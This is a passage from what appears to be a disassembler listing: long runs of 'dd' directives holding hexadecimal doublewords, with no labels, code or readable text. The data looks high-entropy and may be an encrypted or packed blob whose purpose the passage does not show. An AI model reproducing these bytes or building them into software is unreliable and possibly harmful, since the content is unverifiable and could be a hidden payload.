68C010A8h, 4070E03Bh, 0C7F780AAh, 0E45293BFh dd 7798EE9Eh, 0B8CCF767h, 5AE5FE6Bh, 20692FC0h, 413F8724h dd 0A1C25DA5h, 39880B02h, 60BF5457h, 52FD6851h, 0F21B18BDh dd 20740066h, 5F2CCE81h, 7E9D57FAh, 16E0A7F1h, 6B0BBD55h dd 0D55DB75Ch, 91896405h, 7FB817DAh, 8F92D99h, 0C682BA04h dd 9A8063E5h, 42494A8Bh, 0BC88F196h, 0CA58E397h, 0B7530035h dd 284CB664h, 0C05B02FEh, 0C16805EEh, 14E9FEA3h, 0C056BC8Ch dd 9B975BC6h, 4061BF85h, 0F00BEE05h, 73F9BFF5h, 0DC574E42h dd 0F094F63h, 0E5976050h, 0BDD922EFh, 6885C34h, 0E913BD2Ch dd 59AC5958h, 0C4FFDBE7h, 0BB5A4AD8h, 1343A5D9h, 0A0D95F78h dd 22B05AD6h, 0D6213831h, 8D34A29Eh, 0AC5E5EF2h, 2CCF4069h dd 47483870h, 0CD7050Bh, 94A1F964h, 680A6468h, 6BB038FAh dd 0E918D2DAh, 0BB183B35h, 746B2888h, 555130E2h, 0F206C6DBh dd 568CEF1Fh, 1912FD0Ch, 391109F3h, 0ABA06A95h, 0B62C15CBh dd 89E91709h, 0D8EB5D94h, 36DE6DC3h, 80C1B704h, 0C2BA48CFh dd 0C20B891Fh, 19126013h, 49392533h, 8A062D4h, 6F4D0CC0h dd 0E0E92CC4h, 65B6B4A1h, 4C5AAC02h, 47DA12BFh, 43C46E34h dd 654EF313h, 0EF5ADD54h, 8438400Ch, 0E82DCC20h, 0A7404310h dd 1A02B55Ah, 6807BF7Ah, 3A8804D4h, 0F8578108h, 56266ECDh dd 8418D222h, 2EE2B556h, 2456EF20h, 16E11A48h, 69EFF9DDh dd 797D0FEAh, 0DB16035h, 5A1A58B7h, 820DB5B8h, 0F42EA91Ch dd 44FF6917h, 7F5B3360h, 0E6BA50DDh, 0D15E8B77h, 17BF60E7h dd 2009FD1Eh, 726BEFE9h, 0C28896D1h, 0A04C74B3h, 0CCF909F3h dd 0B4452E3Ch, 939EAD7Ah, 0E3E9808h, 10E55259h, 375FFB77h dd 1666938Eh, 0FCF869BAh, 0D2C4C83Bh, 53097EF2h, 515885F6h dd 505A80E6h, 347EB000h, 7E0C076h, 305D2404h, 0E5323C7Eh dd 52F87CCCh, 5269BA09h, 0EA2A0068h, 5B780262h, 1D21FC57h dd 1FEC34Ch, 95B6A6F2h, 8B6E29F8h, 40774CA8h, 82AB05F0h dd 57041394h, 8FBFECD3h, 61FE5BCFh, 943A9BD7h, 30A7470Ch dd 72F5251Fh, 129D2C24h, 0F67A021Fh, 605FA7CAh, 817D6590h dd 0AE66B59h, 0B14C526h, 0BF806A15h, 644F63E5h, 23BFE0C0h dd 48015172h, 0CD0B6BD5h, 0C0C220E9h, 850BFFh, 0A76463A4h dd 9E29076h, 3AB94AECh, 5CE2F000h, 0E3F87ECCh, 7C50BA01h dd 5F15E979h, 350EF362h, 0EB32FF86h, 0F4347469h, 757400BDh dd 0F7BF1B35h, 33038BB1h, 0F1E9EF01h, 0AD381227h, 0F60E0931h dd 30BF4878h, 16EC68BDh, 8079AC32h, 7B1BDAFDh, 389A4361h dd 0A168FA6Bh, 3CFFA001h, 2BDE89D5h, 8AC2B664h, 0B7F449Bh dd 60D2064Bh, 0C78106FEh, 0FE7CB7EBh, 0CD5BE668h, 605FF03h dd 5C9B37A1h, 0B741EAA3h, 76E90C01h, 16B9E934h, 6D1870h dd 1002F17Fh, 58B55342h, 9C9F2D6h, 416C0FF2h, 0B050525Fh dd 97E9FFB3h, 0E26AA65Dh, 7CF9D245h, 2D3368C2h, 0FF60FA76h dd 900D0977h, 52140C0Ch, 9C0C02D4h, 69492C7Eh, 5437C7D4h dd 50D1560Bh, 0C74E1705h, 62B92E00h, 12DCFEDh, 0D8E2679h dd 4205D029h, 0DC15A07h, 0B0F5F269h, 0BB2D806Ch, 9ACA3A9h dd 66E012E9h, 800482B3h, 8850B5C3h, 884866A1h, 0DD3D0AC2h dd 2DCCD59h, 271A0EC8h, 813FDA7Ch, 4A18C4CFh, 0F7DC4F32h dd 0A0A3FCB3h, 9C5FF8A9h, 59700040h, 0A2E93A79h, 0BF70CE60h dd 5CA950FDh, 150BDD1Bh, 28F18h, 21032345h, 3336B9D0h dd 52CDDC22h, 0DA022F9Eh, 0AB7D2768h, 0BE1EC471h, 61DA8980h dd 0B57D9457h, 814206DCh, 0F019667Ch, 0E8060D2h, 302D4858h dd 0E6CE807h, 0B891C289h, 15D51B7Bh, 4041803Ah, 0A909A805h dd 0FF29B1E1h, 0AB141302h, 537480C6h, 16EBC35Ah, 0EDB12AFh dd 0F8F2CF53h, 0C41E9E67h, 0E7811075h, 0BF04B4ACh, 0C1EE708Dh dd 18816471h, 0B652665Bh, 4FEC3A07h, 8EBB041Dh, 518F2CD8h dd 0CFDC1FF7h, 5BEFFD88h, 15042263h, 99A3A093h, 4FD7E883h dd 60A6289Eh, 0FABDB149h, 5E4AF763h, 38C431AFh, 0BA82204Fh dd 6BB3361Fh, 194E9C4h, 6D1C20EBh, 0F9F72B06h, 0E5FB96B6h dd 7FEEF409h, 0C49CFCC4h, 521271AFh, 80A53255h, 3D513AF2h dd 6C689732h, 70792CD0h, 5EDB0CC2h, 918FC8DDh, 69B42C73h dd 20F6261Bh, 0E5A6708h, 6D514249h, 0CDCEA77h, 121B1C08h dd 60347523h, 0D40CE9C3h, 68AC84C1h, 107362A8h, 4DB55109h dd 37D1E538h, 0F43FBA81h, 54410138h, 2AF8C96Fh, 0BF5D96A4h dd 4B55A762h, 4CA7EABh, 105313Eh, 9BC84F2h, 0C025E08h dd 0BA578452h, 0C8D06A6Dh, 9F39DB91h, 0BA1D0266h, 7DA66A21h dd 0EDD5E02Dh, 83418159h, 424D74F2h, 0D13DE24Ah, 5772034Eh dd 98D92394h, 8F85C395h, 875A12C1h, 3558A930h, 63590276h dd 0C906E92Ah, 94FBB905h dd 0C8E5FABFh, 0A484F82Bh, 2C4B63C3h, 9CDE1BDh, 8A94AE33h dd 997D6F6h, 0DC510B76h, 0E37CF1Ah, 0B95D5890h, 870C35FCh dd 0CFD8E6Bh, 0F3C397E9h, 1F640FC2h, 60673FF2h, 0CC550990h dd 497B9FD7h, 4594288Bh, 0DBC60B4Eh, 2A87945Dh, 77A28CCBh dd 0AE55FCAh, 3B54B46h, 6FDCC58Bh, 11DD9A09h, 9FF40253h dd 5A03DA40h, 5D53FECEh, 8F4030F9h, 7EAC418Eh, 68512480h dd 351A5A03h, 4C45FBB5h, 35FE4481h, 0C4DD0C5Bh, 0F75A20A8h dd 33917491h, 4F518E3Eh, 0ECD553BEh, 0CC2FF975h, 2FE55252h dd 0D51320EDh, 59BFF2BDh, 0CB539EA3h, 8F7AC221h, 0B202B279h dd 280BB0A3h, 8851B960h, 0C674F172h, 0FE59C81Dh, 4F08640h dd 5EBEE992h, 0AC7744A6h, 7D2F1DD1h, 0B4501F98h, 0E588B013h dd 7006D70Fh, 73C0BD01h, 0F581495Eh, 6BC1FA08h, 4054A54Dh dd 0B68539Ch, 572E4E3Ah, 31E082A3h, 81B31DCDh, 0AD3390DDh dd 0A403A89h, 7D9C10F3h, 0C43C5FE9h, 9DCFFEDDh, 25BFE908h dd 3399D025h, 590BD5F7h, 0E955D1B0h, 86FCF534h, 751C06BFh dd 0C17E0A0Dh, 0CFDA2E60h, 0B2D17EE9h, 0B7616AFh, 0EEC90718h dd 647C420Fh, 806678FDh, 599BE908h, 0CC18A3D4h, 0B5E08B58h dd 646D6282h, 1357EA40h, 0A1B36384h, 9FA13A86h, 7C620C82h dd 28FF7866h, 0E906084Ch, 23CB148h, 9240DDBBh, 413159h dd 32D83E0Ah, 0F3414EC3h, 45611200h, 0DE1065B3h, 68AD05C1h dd 0B4D87DA6h, 6690028h, 0F7ED8155h, 1E6EC08h, 806799Dh dd 7FA5176Dh, 0E989326Fh, 5B3AA4E3h, 0E6DACFFCh, 0CC1B27Ah dd 0B983208h, 0AFEDC57Ah, 8F6055B5h, 777148D0h, 18D2C518h dd 0DEE4AA2Ch, 81955DF2h, 0A4EF804Ch, 9017F7CCh, 4FFD7265h dd 0B3C634EAh, 66503100h, 91698F78h, 25B850A0h, 41D53802h dd 61E8C148h, 7FC2C6F5h, 4FC89898h, 7CBBCE95h, 2DB62F4Dh dd 0CAB00894h, 2194302h, 90FB013Ah, 8B6821D6h, 6D122C4Eh dd 0E9C83CAFh, 4FC0017Ch, 0E135C8F7h, 5B87B815h, 4FBFE8FBh dd 5E6E72EBh, 42616232h, 408EB84h, 5D685A25h, 0CB64FF74h dd 14A62480h, 0B43E4F93h, 0C94FCDCAh, 0AAE8D0D9h, 27BE8009h dd 878CBD0Bh, 0A4798F29h, 31BB5465h, 472D07Ch, 29B9C200h dd 20ED740h, 689FF181h, 9F8F0B8Bh, 0BC1D8C52h, 0BA83D941h dd 6AB745CBh, 7A5029DAh, 28C8351Eh, 4C054140h, 0BDBE167Dh dd 85B15FF8h, 2825F000h, 2468581Ah, 0D85E05F9h, 3E5FE957h dd 0BB5F22FCh, 97D4DD28h, 0DBF75AC2h, 58920FFCh, 7706CEh dd 4765D6DDh, 0DB04F764h, 3FBD5543h, 0C14C9DC0h, 0CC0779EDh dd 5E4AB366h, 74B3A5B7h, 2A6710BEh, 87391473h, 8904086Eh dd 814F9205h, 871E4385h, 2E0C03Eh, 2A0E284h, 3A12702Ch dd 5A0104D0h, 8048B353h, 444461F3h, 0D5ECAA0Eh, 0D9A851A8h dd 9839C380h, 225AFA28h, 0CFB99A07h, 29508A50h, 4E009FCBh dd 37F135ADh, 89A8E92Fh, 0A7E2F67Dh, 5C515FD9h, 8548A83Bh dd 47B93CA6h, 8AC22125h, 0B3553C57h, 0ACEF890Bh, 9420B071h dd 0A209F02Fh, 73A6FA6Eh, 0A8033527h, 0B977123Bh, 5FC8F2AAh dd 0E95231AEh, 1327496h, 0E9A9EB4Eh, 133DA84h, 884AB050h dd 42A042Ah, 0C668027Fh, 7AB0FD18h, 0CC7617D7h, 0DAF72Eh dd 21BB958h, 0E92FB01Eh, 0E47DA1AEh, 0A6F2F166h, 28C480B1h dd 0EFA3280Dh, 0E98BF0BBh, 6CF789F3h, 5AF87C7Ah, 0B8A02055h dd 0B62C30D5h, 83137F72h, 4E4DFFCh, 384A79Fh, 9FF78766h dd 0BB50D723h, 502A3B8h, 4DE9D010h, 7F8E972h, 1A900599h dd 5BC98AB2h, 52924Bh, 96109586h, 0B5897Bh, 46E7CA42h dd 0B40B4AB8h, 5F1CAA53h, 0C1894D42h, 0C7002EAh, 920353B0h dd 2A21FF54h, 0DE0616B3h, 0A773C605h, 0F0BB2907h, 0CF0577ECh dd 0D6315C99h, 0C05998F4h, 68BF57F5h, 764CAC29h, 0D6C35A9h dd 0AE4A3AA8h, 0CF1AAB8Fh, 9BC316C7h, 36CDFCB9h, 0E0DD2F73h dd 78565F8Ah, 0B777EE54h, 0E2554A92h, 638780A7h, 17AD7F6Bh dd 45D98951h, 887D4A37h, 6F169891h, 54C45226h, 4516D1EFh dd 0EA23817Bh, 94382796h, 0B84E9C38h, 0D829C509h, 0DD1015A7h dd 0DA281EA0h, 16D33DF8h, 3F356A40h, 9CCCC783h, 0C17898AEh dd 29091F01h, 8B305DBDh, 4F397120h, 0A709316Bh, 905C4318h dd 61761AC9h, 0B0C43B01h, 9257E3AAh, 273C8AABh, 982548E8h dd 64248B77h, 0CF0076B7h, 8E7C094h, 633D5DE9h, 2F8AD95Ah dd 115851BDh, 0C6F702Ah, 8E1C141h, 0C3276189h, 0E9B240EAh dd 0FEA94E25h, 0F1F6ED58h, 7C633C72h, 0ACDAEFBCh, 8A8FBD24h dd 170461BEh, 0FCDFD06h, 0B9377D5h, 858C0931h, 10955FFFh dd 5E70400h, 5B681184h, 0DE18AC9Ch, 82293D00h, 5FA1E92Bh dd 7D1A36Ch, 2DA51D95h, 51E9B7D7h, 90BA47Bh, 715F626Ah dd 9BD227AAh, 54007AE1h, 956FA2B8h, 25FDF54Bh, 0E6D1F7C2h dd 2C7348EEh, 68520F09h, 0A5B034E9h, 0C4321FD6h, 0F5742A62h dd 255E8DBAh, 0E8D688h, 3DB805ADh, 2D0156D4h, 3198741Dh dd 343AD801h, 6E92C2D7h, 6426C6D4h, 48011D16h, 2EBC066h dd 81219BDBh, 0E8EA5BDDh, 9546E99Fh, 955F4289h, 2C45A470h dd 297FC9CCh, 33260E40h, 74CF3645h, 91BEE485h, 3B22C775h dd 0B12E29A1h, 0F2847B7Fh, 5A00E18Eh, 5614CB3Eh, 4FF2DEBEh dd 5D12C4Eh, 0BC04BAF3h, 28700801h, 12801DEEh, 70B5BB8Dh dd 7DC98102h, 1E20FC6Ch, 9BF4A0ACh, 9009EC6Ch, 47D10B20h dd 8A781FA8h, 26AB1731h, 673F7A68h, 0D02DC272h, 7CB995E0h dd 72DC934Eh, 33A95AFBh, 4B13A72Eh, 0F509CE01h, 0E79457C5h dd 5079B097h, 425A8B7Ch, 0DD5130BAh, 0DC9F1C8Bh, 0AFA05CAFh dd 252C420Dh, 0A0BCD270h, 0E8882FFFh, 7D27EAF6h, 0FFF83D14h dd 0CBFE07CEh, 1CC0053h, 34E9C788h, 0AE42E544h, 44B571E9h dd 0B373B8B0h, 0A6841699h, 6925F9E7h, 0C4391BF2h, 87013980h dd 0DCF63ECCh, 0E970F480h, 0D9C167F7h, 5F536EDDh, 0F19D1324h dd 0C02C2B5Ah, 0A0631342h, 4207EE7Dh, 0AB3A3568h, 0DA94E961h dd 0CB8AF93Ah, 0DC39628Dh, 0FC7EA713h, 0C21683A6h, 0D73E5FABh dd 0AB2D53DAh, 95296C98h, 1377227Dh, 58030B78h, 5BB275EBh dd 890B38D6h, 480B60DEh, 4783080Eh, 820F101h, 24692F9Eh dd 0B880563Ch, 19DB6288h, 0B8CBE46h, 42BB2B29h, 15216889h dd 3EFFDC72h, 0C509720h, 17C2907Dh, 1A01EF83h, 0F8600B44h dd 0B90B0615h, 62C72173h, 42245D96h, 657E9833h, 3C164273h dd 0D422C321h, 1724D037h, 41EB315Fh, 602B418Fh, 53F94422h dd 0C300EE92h, 0CF79B6B9h, 65D0BD27h, 0CBE9570Bh, 29FAD2B0h dd 5997109h, 4E83297h, 8D1591DDh, 3D122E9Ah, 0B7C486F2h dd 91B90048h, 0A07F7D2Bh, 98CE52B1h, 0BAD3E58Eh, 0BFC748EDh dd 0C90D1286h, 0D701AA34h, 103E580Ah, 238A0C82h, 31C84E7Dh dd 0A7BD50E9h, 0B4D1EBE3h, 0CF70AF65h, 80D4BDFCh, 0E881005Ah dd 9B400A60h, 3D6D890Eh, 98D39CF7h, 945D4E9Eh, 3BA40027h dd 0DA3107FBh, 59FDF497h, 800B873Bh, 0C73064EFh, 3B15185h dd 28F10412h, 59A32CC8h, 5BE175BAh, 31AE8E7Bh, 0E27FFD9h dd 4708F2DCh, 0E142821h, 816FBAC2h, 217DEE2Bh, 9620E9D3h dd 647FD36Eh, 0F2814901h, 27E15F44h, 2468D20h, 4A282239h dd 0D8A003E9h, 1618C7BEh, 7CB7D790h, 1A0C00E7h, 0EA090206h dd 574B5D4Ah, 0AD6F0434h, 0EFB785EBh, 0ED0D7A2h, 0EFD33CCFh dd 25E985CCh, 0A2DA95CEh dd 3A0DB004h, 7BC3896Dh, 0C4B75EB3h, 0A294C780h, 7CEC96C6h dd 0D68596BFh, 684A8054h, 18BF3EB3h, 8087A06Ch, 0D0367BEh dd 0F0293A65h, 5F8995Eh, 62E90A40h, 9914B5B4h, 39972D06h dd 508E42F8h, 95B0705h, 3549685Dh, 3040669Ah, 0B13C7808h dd 0CA13C34Ah, 0E03A5051h, 56C60117h, 0F275EF14h, 0A0A753BFh dd 0CA5A4C33h, 0F8212DFEh, 2A92ADE5h, 0C067E60Fh, 0F68D7DEEh dd 1AA50629h, 591F83F5h, 0C8C08AE9h, 2D7A9B59h, 8C72600Ch dd 88FB6E3Bh, 402C7E9h, 0E205E1C0h, 2EBC467h, 55C8AF74h dd 4BE25BB6h, 0D0C9CFAAh, 0E0BE385Ah, 9A7754E9h, 2095AE36h dd 0FA972E23h, 443F2D1Fh, 4A88D5D3h, 3282C4Fh, 0A1CD80CEh dd 1C18C59Bh, 0B927A518h, 0EF9EA86Eh, 0F5D0BDADh, 0C4270F95h dd 0F4FEF12Fh, 751239FBh, 61FE2216h, 885C46B0h, 26E89C4Bh dd 1B4E1CB3h, 10AE7AE6h, 7D682E5Ch, 3959D5E5h, 16DFC8D0h dd 0C0C0F25Bh, 3FEA7E7Ch, 4190A2C1h, 0AB053538h, 0D97C92CDh dd 2D5E0D10h, 9B701659h, 327D49EEh, 0C1A15FB7h, 128FE2E9h dd 991A928h, 706BCAF6h, 6B99A274h, 1F46D8FFh, 2D4902E4h dd 22204523h, 0B366757h, 3AD267E9h, 0EE86CE50h, 0C5B91202h dd 0D7F22969h, 0C82DCFC7h, 5FE1E97Ah, 59C2DD6Dh, 5F89438Fh dd 4E02C23Ah, 40E1FECCh, 12FC5294h, 2133854Ah, 0CC5751B6h dd 909887Fh, 0F76D8060h, 2C5E3DBBh, 30212932h, 7F05D272h dd 0F0E91716h, 81A6785Fh, 0B2A8A02Fh, 0C17F7E53h, 4D66260Ch dd 0A21E3003h, 0FDE76880h, 77108955h, 0C8FE1D89h, 2C3EF468h dd 0DEE824D5h, 20F370AFh, 94972486h, 206818A0h, 6384D2Dh dd 88BB80h, 8105341Bh, 64035AE3h, 0CFF83B4Fh, 812BEF72h dd 415B3C67h, 0BC46ABh, 3D45F705h, 2612417Ch, 0CA2851C4h dd 0B831FC5Bh, 23CC4ADAh, 0EE85B9E4h, 18043BD5h, 68022AC7h dd 0CF596E4Dh, 6C65388Fh, 16A2980Eh, 110023Fh, 84B2BBBh dd 9DA02B5Ah, 4D867F7h, 39D05740h, 78A6BA80h, 0C32C29BDh dd 0E90F0758h, 0EC327328h, 45D283B1h, 1A7B10AAh, 0E251C934h dd 4DB27779h, 0FDD2C2F7h, 0DFE9F179h, 0A56623E9h, 0C0CC5D4Eh dd 52A9DD4Fh, 0B84FEC95h, 49ACF5B7h, 1277DA1h, 0A07EE280h dd 1F62B95h, 0DE455E6Bh, 695F884Dh, 78EA8103h, 69858E5h dd 0BA4F805Bh, 63F468DFh, 94095374h, 8019102Bh, 7934F334h dd 4444B3Dh, 0ABC0E28Eh, 0D50038Ah, 0EE04F57Ah, 400C5FB4h dd 584A668Dh, 3AF88C5h, 0E320FC2Ch, 0F3861612h, 68D095A1h dd 0D7646284h, 0B344DF9Eh, 25FDB82h, 7DC7E646h, 6B3790C6h dd 8395312Fh, 0EBC5A84Fh, 0C1257604h, 3ECCD5E9h, 8B75D88Ah dd 5A046BF2h, 0A10982h, 0CB2FF3BEh, 0B4A71A50h, 0BF9CFDBCh dd 0C1635FC2h, 5DD341E2h, 0A1E133Bh, 0AFFAFEh, 12FB1B07h dd 0C252015Fh, 0C665C4D9h, 18400AE5h, 2E8A2E1Fh, 0D3A5925h dd 7E8DC595h, 9FC47DF0h, 419D2666h, 0F7C2688Ah, 0D49C051h dd 9D6BCB99h, 327C2125h, 935F84F8h, 137790C8h, 0F0537913h dd 0D9B7A76Fh, 155BA43Ah, 0CA40428Ch, 0A0251F50h, 0D4138959h dd 81E77E56h, 0CA3AA1C0h, 0C8213B7Fh, 0BEEC0696h, 104C4A8Bh dd 97B02B50h, 92BD2CFBh, 50B65786h, 7BD5CBDAh, 0E381A7A6h dd 0D13BCE3Ah, 5E673FDFh, 9CAB2FD4h, 0C54C8934h, 92EA2E0Ah dd 0A49AE922h, 351444E2h, 4BAF748Fh, 0BEBF4505h, 8E57FC0Ch dd 0D2E20798h, 215351A8h, 0AC8947E9h, 6807819Fh, 0FD0B0A58h dd 0E9190C1Eh, 0C3DB88A2h, 48666CD8h, 3E10A835h, 831250C0h dd 799E5D16h, 2153DE13h, 29484E0Bh, 24637111h, 0AEEAE446h dd 60ACCEB4h, 0BA0566A9h, 295A152Bh, 4BD52CEBh, 0F60F2E2Dh dd 7EF50130h, 2AB068CDh, 9EC2EB85h, 544948CBh, 0E3504059h dd 0FE8C4241h, 0C2B77AC8h, 740C905h, 0F2FA0103h, 8EAF18B6h dd 321AEEF1h, 93EE042Dh, 0DD258CF6h, 9120D94Ch, 42AB0E2h dd 18061B5Ch, 0D709EE41h, 58B2C0E7h, 2B02BF5Bh, 1C64C540h dd 30625E1Fh, 8207FFA5h, 3652F275h, 200127D8h, 0E95719D7h dd 0ED7ADE68h, 0C2E610ACh, 673F257Bh, 9C5ED054h, 7EAFC2E2h dd 0C843E902h, 0BDED83B2h, 72C261FCh, 0E82803C4h, 65DD2BF2h dd 27AE208Bh, 9BB192A0h, 0E3D23052h, 44A31517h, 4FC41F91h dd 90B85A00h, 0F261DC00h, 652E3D2Dh, 20349625h, 405B0507h dd 0C8B70EE9h, 2912F38Ah, 9EA06A7h, 0E1004958h, 42382ACEh dd 0B409C1ECh, 48BC53h, 666FB752h, 0DFC973Ah, 594A0820h dd 0F9BAE324h, 0B1D51297h, 47FCE229h, 897E971Ch, 58F9E970h dd 67D3CB61h, 8FC9AB8h, 0BF01FD28h, 52B37673h, 3101F840h dd 3B50418Bh, 0FD095AB1h, 9867E07Bh, 0E918217Eh, 6293ACA4h dd 180B3D38h, 42BB79BBh, 5E7AAB80h, 9FC688Dh, 58308FC9h dd 9E5595A7h, 0A3585E7Ah, 50C2588Fh, 0AA5A0A69h, 0AFD2F0FCh dd 44D291E7h, 5A8D308h, 74E8DC88h, 0C16F9B32h, 39BD5840h dd 89C94DBDh, 727852E9h, 0C29E5750h, 4F440A39h, 0BBF599C1h dd 0C92189C9h, 5360FBCDh, 1CE91ADDh, 3B84AF9Fh, 3B56F18Ch dd 0F0D616E7h, 0D95EE901h, 0CBFE31C0h, 0E656E480h, 3C644CEBh dd 0ED1A7434h, 76C0791h, 5BD5487Dh, 0B9000FE8h, 6A4F3BD4h dd 2FF9C149h, 38AD39C0h, 6D009713h, 60C3DA67h, 68BEF6FCh dd 68BEB30Ch, 4C74BDDCh, 0DE202903h, 22EED95Bh, 46C177C2h dd 987F3B1h, 959DC4D5h, 68AAA95Fh, 5CB15137h, 11284DA2h dd 0F90A4B85h, 0C03E9F17h, 1A3002B8h, 0C301208Bh, 0B76B6562h dd 8683EC33h, 7694DAF4h, 0D74152C4h, 6A98ADBBh, 0C115F7BBh dd 451342A4h, 0FFE906CCh, 0E74A3538h, 0DC5A7DF0h, 0C8B61883h dd 0C398F680h, 0F328C706h, 8782F4F9h, 2B60FF5h, 481593h dd 0B5B8F2A9h, 85057C74h, 70C85F03h, 766044E9h, 175C0421h dd 0AA31B06Ah, 0E7706381h, 1C38300h, 97E38103h, 0B7355A2Dh dd 0FD6CC490h, 390CC040h, 0E989B866h, 20FA465Bh, 5C51688Bh dd 0EAAAD19Dh, 811B187Ch, 391EAEB9h, 0F5937C1Ch, 2055874Bh dd 0FCD7AF2h, 0B1980BBDh, 0A4753CB6h, 0A8BE23DEh, 0BEC7CA47h dd 3575289h, 8A0782E1h, 95E0E128h, 0F9FCF7Bh, 6161BB2Dh dd 68E82975h, 69787BC5h, 146DE6C4h, 0DBB41635h, 206809C8h dd 0C9FA597Ah, 0ED91BD5Bh, 0A8050525h, 2420092Fh, 4DA280CEh dd 0BD096D07h, 88155F2h, 2B83715Fh, 82BEB557h, 620E66E0h dd 5705AE68h, 6171347Eh, 6E682980h, 5D0D4475h, 0B692F595h dd 0A5FF5E55h, 24209ADAh, 9B69820h, 1903102Ch, 0F390B3F4h dd 0AD2B0B41h, 5C6F8977h, 0DBF24BFBh, 3A4EF8F6h, 0BAB44CEDh dd 0B7BDEE2h, 2CF828DFh, 2365D8A9h, 9A4294CAh, 0B735A123h dd 72EC5193h, 3D18B560h, 88395AB2h, 943484D0h, 0ACBA202Ch dd 4070F5Ch, 5084D436h, 6A4DB9D6h, 0C6F296B2h, 0E059FC93h dd 0E17783E9h, 0D6A5F82Bh, 682543FEh, 0FE8439B3h, 0AAA203A3h dd 35005DFEh, 8A46A6F2h, 27BD3F55h, 0E96B6E86h, 1F94ABBAh dd 46AF1D0Bh, 47F9020Ah, 44816441h, 0E961B474h, 207AEE3Bh dd 6F63BED3h, 0D435CC27h, 18E91F9Fh, 0E2C39570h, 0CF017212h dd 30F9AF57h, 147AE884h, 53F31CABh, 883563C0h, 224685Bh dd 0D847E405h, 6155407Fh, 0FDEB0285h, 1E1CFC1h, 937AFCE6h dd 4DAEDB5h, 7A2A6F92h, 143CD8AEh, 44B9554Eh, 3492E186h dd 0B5825A58h, 264E8E04h, 0C4443BC5h, 0BFD8F7h, 2AF00DEAh dd 90C03855h, 0AE5E2D04h dd 0AA8C4A52h, 3E304F99h, 44081D28h, 97E18154h, 74509C71h dd 765EE9CFh, 5608EEC2h, 34B03C41h, 4399B995h, 7CA8F663h dd 1951C3Eh, 4EA9E8EBh, 0E086A8B5h, 953B3AE9h, 0DEFC6518h dd 5C74101h, 52182374h, 5A49093Ah, 955E8A5h, 0F8D990D6h dd 0BA64988h, 457F575Dh, 0CCE94222h, 8B957B50h, 0A0F6DCA9h dd 1EB2F81h, 32096D98h, 92AF134Ah, 0E7555B0Ah, 0FAE905CDh dd 4CF2BFD3h, 0BF307C12h, 0E4A3A21h, 5AEE386Ah, 2885ECBDh dd 0BD4021BAh, 2FF6A4D2h, 0F62F7E96h, 0FDBD3964h, 204EC2Fh dd 7871BE5Ch, 1BA163DBh, 982F0C92h, 0C8BD3156h, 7815D02h dd 3C68E7F5h, 0EB5F8573h, 0C6B3D782h, 20515025h, 0CA7F5AB1h dd 69A734B7h, 84B501FFh, 3A4A0C06h, 0D92579A6h, 7B2546D4h dd 0FFF804B9h, 578BBF30h, 57C1AE42h, 6C1CFD68h, 56AED64Ch dd 9F64B263h, 0D7D5B38Bh, 0EF0FDF46h, 3F35C216h, 0E5D15A45h dd 0DD24EEA8h, 4F140BC7h, 56713174h, 257D9F6Fh, 0D16540D9h dd 2F5078E2h, 0FC796E42h, 0CB48A6BCh, 0FEDAF682h, 0DA20DDCAh dd 9BEA8002h, 7732D8BDh, 0FF7BB5FDh, 0A443B68Fh, 149231A1h dd 7F9C4605h, 832B9CCCh, 2E235C1Bh, 70DE6B0h, 0E9687F09h dd 75C42B43h, 75493948h, 580C8C2Fh, 250505FEh, 0AA7FF920h dd 0E6629DDEh, 0D3F7EFD4h, 37AF3D57h, 0DAEDAFA0h, 6C60DD62h dd 9023960Ch, 0B04AB74Dh, 6AE90802h, 4E18BC76h, 7A2A054Ah dd 240CC03Eh, 0E99DE60Ah, 9C11B624h, 0C1DEE0BDh, 0C115E109h dd 0AC3C0D0Ch, 0B2DF6057h, 0FAD0BF4Ah, 5C1401E8h, 2E023430h dd 504C1248h, 583CDAFFh, 8D10735Ah, 0B6050082h, 17A040Bh dd 72D50C8h, 0B154ED59h, 0ACF5ACBEh, 8F0BB7ADh, 0C195C4D7h dd 551D67F0h, 22FB2B1Eh, 89779B3Bh, 876EDF08h, 5F194C38h dd 85F931FFh, 998A7B7Ch, 41CBEC5Fh, 50846240h, 3408C8Fh dd 98BD27E9h, 0D5202DC6h, 2FBB059Dh, 0EA15DD7Fh, 2EB8EE0h dd 0EA2280D1h, 0B2F9DA89h, 57F14CEh, 7864F60h, 705990Ah dd 0FBE95105h, 16B97BB0h, 4275D89h, 0EE6BBCB7h, 0AE4A6FB2h dd 66D8D631h, 537D412Eh, 7B0EC745h, 80EAA1A4h, 56171BA4h dd 0EFB0894Dh, 0A3F730E9h, 6A5EE8C9h, 0DD09311Fh, 18B0571Fh dd 244D78BEh, 48307C9h, 813445F9h, 3E469784h, 0F8044E35h dd 0BE0355A1h, 6BD2297Dh, 66DF2E40h, 70609625h, 1606D8A2h dd 3B0B5538h, 0E5F3019Dh, 1C5925C1h, 5BE89D12h, 0BF95AE3h dd 2C1E82B7h, 62C330D8h, 69725539h, 7C10FA04h, 0D0EA2169h dd 0B5350378h, 405F4103h, 0AF42B12Dh, 0DE258CAAh, 0F2E98901h dd 504B5C78h, 553E4BFAh, 6A450C0Eh, 0EF92BB30h, 0A44ED75Fh dd 1F9FBB80h, 8B9064F8h, 50235F59h, 757E7D09h, 97BF224Ah dd 0CEE93157h, 5F2293AEh, 0D4FD7C22h, 6F7DC26Ah, 0B9D1F603h dd 16C1620h, 0B883D4B7h, 1E4F2E24h, 0D8A07924h, 0DC4AC707h dd 264C119h, 651608C0h, 0FCE97FB0h, 57530715h, 0E5F72934h dd 0B40812EFh, 0BFA93A0Eh, 0C0293F5Bh, 0A2F2F1FCh, 29595570h dd 126A7A27h, 2DCDC9E9h, 0D2226CB7h, 0B9FA13ABh, 10EC952Dh dd 0AB40B4A6h, 8C20006Bh, 0DF99BD0Ah, 0F29DF573h, 0C8EE039Eh dd 2935063Eh, 882A6B6h, 0AE7E1E85h, 0FC923E37h, 0B676485Fh dd 1E360131h, 0B72D77B9h, 0DFF86B3Dh, 0B84ACD12h, 525CE21Dh dd 9B0F31CEh, 61F90148h, 28E57CEDh, 6609DDC0h, 0C4E38853h dd 0C5831795h, 0E521D102h, 4A9C2381h, 563E04ACh, 0EC1D4B7Dh dd 505CE033h, 0EC681253h, 0C44EB80Bh, 0F112D728h, 2CEEE199h dd 4EB4EBBh, 814F0554h, 0D22F4384h, 0DC329840h, 9FC18980h dd 0B3AAB682h, 4046570Bh, 0D59E9F77h, 0A077DB83h, 6818D920h dd 0F74E2CADh, 0CD13264Fh, 496940DCh, 49766FC1h, 0A25FD567h dd 715DC9B3h, 0CC5749E1h, 5F1F2773h, 0F44284F1h, 